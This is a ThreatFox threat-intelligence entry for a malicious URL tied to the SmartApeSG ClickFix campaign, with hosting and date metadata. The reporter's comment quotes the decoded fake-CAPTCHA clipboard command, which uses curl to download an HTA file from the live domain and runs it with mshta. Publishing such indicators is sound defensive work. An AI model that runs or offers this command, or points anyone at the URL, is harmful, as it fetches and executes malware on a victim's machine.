ThreatFox IOC Database

You are viewing the ThreatFox database entry for url http://glentraverse.com/kos.

Database Entry


IOC ID:1868039
IOC: http://glentraverse.com/kos
IOC Type :url
Threat Type :payload_delivery
Malware: SmartApeSG
Malware alias:HANEYMANEY, ZPHP
Confidence Level : Confidence level is high (100%)
Is compromised? : True
ASN:AS213230 HETZNER-CLOUD2-AS
Country:- DE
First seen:2026-08-04 05:21:11 UTC
Last seen:never
UUID:07bc6c8d-8fa8-11f1-8325-42010aa4000a
Reporter Anonymous
Reward 5 credits from ThreatFox
Tags:ClickFix SmartApeSG

Avatar
Anonymous
SmartApeSG ClickFix stage-2 download URL. Decoded from fake-Cloudflare-CAPTCHA payload version-validator.js (served by ivyprologue.top): clipboard cmd curl -sLko %LocalAppData%\ACER.hta glentraverse.com/kos then mshta. Domain glentraverse.com created 2026-08-03 PDR Ltd; origin 5.161.50.81.